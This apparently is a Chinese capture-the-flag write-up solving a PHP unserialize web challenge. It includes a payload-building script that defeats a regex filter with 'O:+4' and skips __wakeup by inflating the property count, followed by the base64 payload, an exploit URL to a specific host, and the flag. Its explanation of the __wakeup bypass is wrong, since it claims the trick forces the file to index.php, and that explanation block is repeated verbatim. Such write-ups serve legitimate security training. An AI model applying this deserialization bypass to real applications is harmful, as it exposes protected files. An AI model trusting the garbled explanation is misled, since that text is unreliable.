1、题目描述
2、
3、分析代码
class Demo { private $file = 'fl4g.php'; }
:定义了一个名为Demo
的类,该类有一个私有属性$file
,默认值为fl4g.php
。
$a = serialize(new Demo);
:创建了一个Demo
类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a
。
$a = str_replace('O:4', 'O:+4',$a);
:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)
这样的正则表达式检查。原始的序列化字符串中,O:4
表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。
$a = str_replace(':1:', ':2:',$a);
:这行代码的目的是绕过__wakeup()
函数的检查。在__wakeup()
函数中,如果$this->file
的值不等于index.php
,就会被重置为index.php
。通过将序列化字符串中的:1:
替换为:2:
,可以使$this->file
的值始终等于index.php
,从而绕过检查。
echo base64_encode($a);
:最后,将修改后的序列化字符串进行Base64编码,然后输出。
4、根据代码中的提示,我们将fl4g.php进行base64编码后的值传给var,试着访问但是页面没有回显
5、根据题目我们需要进行序列化(代码引用这篇文章:攻防世界之Web_php_unserialize(超详细WP)_php unserialize-CSDN博客)
6、在源代码中我们需要绕过几个函数
<?php
class Demo { private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a); //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a); //绕过__wakeup()函数
echo ($a);
?>
7、运行代码可以看到序列后的结果
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
将a的值进行编码
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
8、
class Demo { private $file = 'fl4g.php'; }
:定义了一个名为Demo
的类,该类有一个私有属性$file
,默认值为fl4g.php
。
$a = serialize(new Demo);
:创建了一个Demo
类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a
。
$a = str_replace('O:4', 'O:+4',$a);
:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)
这样的正则表达式检查。原始的序列化字符串中,O:4
表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。
$a = str_replace(':1:', ':2:',$a);
:这行代码的目的是绕过__wakeup()
函数的检查。在__wakeup()
函数中,如果$this->file
的值不等于index.php
,就会被重置为index.php
。通过将序列化字符串中的:1:
替换为:2:
,可以使$this->file
的值始终等于index.php
,从而绕过检查。
echo base64_encode($a);
:最后,将修改后的序列化字符串进行Base64编码,然后输出。
9、访问url:61.147.171.105:65034/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
10、
ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}